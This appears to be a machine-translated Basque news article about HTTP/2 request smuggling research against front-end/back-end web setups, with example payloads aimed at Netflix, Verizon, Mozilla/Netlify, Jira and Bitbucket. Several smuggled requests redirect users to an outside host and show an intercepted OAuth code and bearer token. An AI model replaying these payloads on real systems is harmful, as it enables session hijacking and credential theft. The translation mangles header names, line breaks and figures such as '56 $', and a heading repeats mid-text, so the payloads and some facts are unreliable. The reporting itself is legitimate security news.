Front-end-backend sistemen eraso berri bat, eskaerak zirikatzeko aukera ematen duena

Frontendak HTTP/2 bidez konexioak onartzen dituen eta HTTP/1.1 bidez backend-era igortzen dituen web-sistemetan HTTP Request Smuggling erasoaren aldaera berri bat jasan dute, eta horri esker, bereziki diseinatutako bezero-eskaerak bidaliz, edukian ziritzea. frontend eta backend-en arteko fluxu berean prozesatutako beste erabiltzaile batzuen eskaerak. Erasoa erabil daiteke JavaScript kode gaiztoa gune legitimo bat duen saio batean sartzeko, sarbide-kontrol-sistemak saihesteko eta autentifikazio-parametroak atzemateko.

Arazoak web proxy, karga-orekatzaile, web azeleragailu, edukia bidaltzeko sistemei eta eskaerak front-end-backend eskemaren arabera birbideratzen diren beste konfigurazio batzuei eragiten die. Ikerketaren egileak Netflix, Verizon, Bitbucket, Netlify CDN eta Atlassian sistemak erasotzeko gaitasuna frogatu zuen, eta 56 $ jaso zituen ahultasun-sari programetan. Arazoa F5 Networks produktuetan ere baieztatu da. Arazoak neurri batean mod_proxy-i eragiten dio Apache http zerbitzarian (CVE-2021-33193), 2.4.49 bertsioan konponketa espero da (garatzaileei arazoaren berri eman zitzaien maiatzaren hasieran eta 3 hilabete jaso zituzten konpontzeko). Nginx-en, "Content-Length" eta "Transfer-Encoding" goiburuak aldi berean zehazteko gaitasuna blokeatu zen azken bertsioan (1.21.1). Eraso-tresnak dagoeneko gehitu dira Burp tresna-kutxan eta Turbo Intruder luzapen gisa eskuragarri daude.

Eskaerak trafikoan zirikatzeko metodo berriaren funtzionamendu printzipioa ikertzaile berak duela bi urte identifikatutako ahultasunaren antzekoa da, baina HTTP/1.1 bidez eskaerak onartzen dituzten frontendetara mugatuta dago. Gogoratu frontend-backend eskeman bezeroen eskaerak nodo gehigarri batek jasotzen dituela - frontend-ak, eta horrek iraupen luzeko TCP konexioa ezartzen du eskaerak zuzenean prozesatzen dituen backendarekin. Konexio komun horren bidez, erabiltzaile ezberdinen eskaerak transmititu ohi dira, katea bata bestearen atzetik jarraitzen dutenak, HTTP protokoloaren bidez bereizita.

"HTTP Request Smuggling" eraso klasikoa frontend-ek eta backend-ek "Content-Length" (eskaeraren datuen guztizko tamaina zehazten du) eta "Transfer-Encoding: chunked"-en HTTP goiburuen erabilera interpretatzen dutenean oinarritzen zen ( datuak zatika transferitzeko aukera ematen du) modu ezberdinean . Adibidez, frontend-ak "Content-Length" bakarrik onartzen badu baina "Transfer-Encoding: chunked" alde batera uzten badu, erasotzaileak bidal dezake biak "Content-Length" eta "Transfer-Encoding: chunked" goiburuak dituen eskaera bat, baina tamaina "Edukia-Luzera" da ez dator bat zatitutako katearen tamainarekin. Kasu honetan, frontend-ak eskaera prozesatu eta birbideratuko du "Content-Length"-aren arabera, eta backend-ak blokea amaitu arte itxarongo du "Transfer-Encoding: chunked"-n oinarrituta eta erasotzailearen eskaeraren gainerako isatsa izango da. hurrengo igorritako atzerriko eskaeraren hasieran.

Lerro mailan analizatzen den HTTP/1.1 testu-protokoloa ez bezala, HTTP/2 protokolo bitarra da eta aurrez zehaztutako tamainako datu-blokeak manipulatzen ditu. Hala ere, HTTP/2-k HTTP goiburu arruntei dagozkien sasi-goiburuak erabiltzen ditu. HTTP/1.1 bidez backendarekin elkarreraginean, frontend-ak sasi-goiburu hauek HTTP/1.1 HTTP goiburu antzekoetara itzultzen ditu. Arazoa da backend-ak frontend-ak ezarritako HTTP goiburuetan oinarrituta korrontea analizatzeko erabakiak hartzen dituela, jatorrizko eskaeraren parametroak ezagutu gabe.

Sasi-goiburuen forman barne, "eduki-luzera" eta "transferentzia-kodeketa" balioak transmititu daitezke, HTTP / 2-n erabiltzen ez diren arren, datu guztien tamaina zehazten baita. eremu bereizi bat. Hala ere, HTTP/2 eskaera bat HTTP/1.1 bihurtzeko prozesuan, goiburu hauek eraman egiten dira eta backend-a nahas dezakete. Bi eraso-aukera nagusi daude: H2.TE eta H2.CL, zeinetan backend-a okerreko transferentzia-kodeketa edo eduki-luzera balio baten bidez engainatzen duena, frontend-ak jasotako eskaera-gorputzaren tamaina errealarekin bat ez datorrena. HTTP / 2 protokoloa.

Front-end-backend sistemen eraso berri bat, eskaerak zirikatzeko aukera ematen duena

H2.CL eraso baten adibide gisa, eduki-luzera sasi-goiburua gaizki osatuta dago HTTP/2 eskaera bat Netflix-i bidaltzean. Eskaera honek eduki-luzera HTTP goiburu antzeko bat gehitzen du HTTP/1.1 bidez backend-era sartzean, baina eduki-luzeraren tamaina benetako tamaina baino txikiagoa denez, isatseko datu batzuk prozesatzen dira. hurrengo eskaeraren hasiera.

Adibidez, HTTP/2 eskaera :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Eskaera bat bidaliko du backend-era: POST /n HTTP/1.1 Ostalaria: www.netflix.com Eduki-luzera: 4 abcdGET /n HTTP/1.1 Ostalaria: 02.rs?x.netflix.com Foo: barra

Eduki-luzera 4-n ezarrita dagoenez, backend-ak "abcd" soilik onartuko du eskaeraren gorputz gisa, eta gainerako "GET /n HTTP/1.1..." prozesatuko du beste erabiltzaile bati loturiko hurrengo eskaeraren hasiera gisa. Horren arabera, korrontea sinkronizatuta egongo da, eta hurrengo eskaerari erantzunez, eskaera faltsua prozesatzearen emaitza itzuliko da. Netflix-en kasuan, "Ostalari:" goiburuan hirugarrenen ostalari bat zehazteak eskaera faltsu batean "Kokapena: https://02.rs?x.netflix.com/n" erantzuna eman zion bezeroari eta bezeroari eduki arbitrarioa pasatzea baimendu zuen, zure JavaScript kodea Netflix gunearen testuinguruan exekutatu barne.

Erasoaren bigarren aldaera (H2.TE) "Transfer-Encoding: chunked" goiburuaren ordezkapenarekin lotuta dago. HTTP/2-n transferentzia-kodeketa sasi-goiburua erabiltzea debekatuta dago zehaztapenak eta horrekin batera egindako eskaerak oker gisa tratatzeko agindua dago. Hala eta guztiz ere, frontend-en inplementazio batzuek eskakizun hori ez dute jaramonik egiten eta HTTP/2-n transferentzia-kodeketa sasi-goiburua erabiltzea ahalbidetzen dute, HTTP antzeko goiburua bihurtzen duena. "Transfer-kodifikazioa" goiburua badago, backend-ak lehentasun gisa har dezake eta datuak zatika analiza ditzake "zatituta" moduan "{tamaina}\r\n{bloke}} formatuko tamaina ezberdinetako blokeak erabiliz. \r\n{tamaina} \r\n{blokea}\r\n0" hasierako tamaina orokorraren arabera zatitu arren.

Hutsune horren presentzia Verizonen adibidearekin frogatu zen. Dena den, arazoa autentifikazio ataria eta edukia kudeatzeko sistemari dagokio, Huffington Post eta Engadget bezalako guneek ere erabiltzen dutena. Adibidez, bezeroen eskaera HTTP/2 bidez: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Ostalaria: psres.net Eduki-luzera: 10 x=

Backend-a HTTP/1.1 eskaera eragin du: POST /identity/XUI HTTP/1.1 Ostalaria: id.b2b.oath.com Eduki-luzera: 66 Transferentzia-kodeketa: zatikatua 0 GET /oops HTTP/1.1 Ostalaria: psres.net Eduki-luzera : 10x=

Backendak, berriz, "Content-Length" goiburua baztertu zuen eta korrontearen zatiketa egin zuen "Transfer-Encoding: chunked"-n oinarrituta. Praktikan, erasoak erabiltzaileen eskaerak zure gunera birbideratzea ahalbidetu zuen, besteak beste, OAuth autentifikazioarekin lotutako eskaerak atzematea, hauen parametroak Erreferentearen goiburuan agertzen ziren, baita autentifikazio-saio bat simulatu eta erabiltzailearen kredentzialak bidaltzen hasi ere. erasotzailearen ostalaria. GET /b2blanding/show/oops HTTP/1.1 Ostalaria: psres.net Erreferentea: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Ostalaria: psres.net Baimena: Eramailea eyJhcGwiOiJIUzI1Gi1sInkR6cCI6IkRXNUMXc

Transferentzia-kodeketa sasi-goiburua zehazten uzten ez duten HTTP/2 inplementazioei erasotzeko, beste metodo bat proposatu da, "Transfer-Encoding" goiburua ordezkatzean, lerro berri baten karaktere batez bereizitako beste sasi-goiburu batzuei erantsiz (bihurtzen denean). HTTP/1.1-era kasu honetan, bi HTTP goiburu bereizi sortzen dira).

Adibidez, Atlassian Jira eta Netlify CDN (Mozillaren hasierako orria Firefox-en zerbitzatzeko erabiltzen dira) arazo honek eragin zuen. Zehazki, HTTP/2 eskaera :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domeinua\r\n Edukiaren luzera: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 eskaera backend-era bidaltzea eragin zuen\r\n Ostalaria: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Edukia- Luzera: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Ostalaria: evil-netlify-domain\r\n Eduki-luzera: 5\r\n \ r\nx=

"Transfer-Encoding" goiburua ordezkatzeko beste aukera bat beste sasi-goiburu baten izenari edo eskaera-metodo batekin kate bati eranstea izan zen. Adibidez, Atlassian Jira sartzean, "foo: bar\r\ntransfer-encoding" sasi-goiburuaren izenak "chunked" balioarekin "foo: bar" eta "transfer-encoding" goiburuak gehitu zituen. : chunked", eta ":method" sasi-goiburuan zehaztuz "GET / HTTP/1.1\r\nTransfer-encoding: chunked" "GET / HTTP/1.1\r\ntransfer-encoding: chunked" bihurtu da. .

Arazoa identifikatu zuen ikertzaileak frontend-ak erasotzeko eskaera tunelaren teknika bat ere proposatu zuen, non IP helbide bakoitzeko backend-erako konexio bereizia ezartzen baita eta erabiltzaile ezberdinen trafikoa nahasten ez den. Proposatutako teknikak ez du beste erabiltzaileen eskaeretan esku hartzen uzten, baina partekatutako cachea pozoitzea ahalbidetzen du, eta horrek beste eskaera batzuen prozesamenduari eragiten dio, eta zerbitzuaren informazioa transferitzeko erabiltzen diren barne HTTP goiburuen ordezkapena egiteko aukera ematen du. frontend-a backend-era (adibidez, halako goiburuetan frontend aldean autentifikatzean uneko erabiltzaileari buruzko informazioa bidal daiteke backend-era). Metodoa praktikan aplikatzearen adibide gisa, cachearen pozoitzea erabiliz, Bitbucket zerbitzuko orrien gaineko kontrola lortu ahal izan zen.

Iturria: opennet.ru

Gehitu iruzkin berria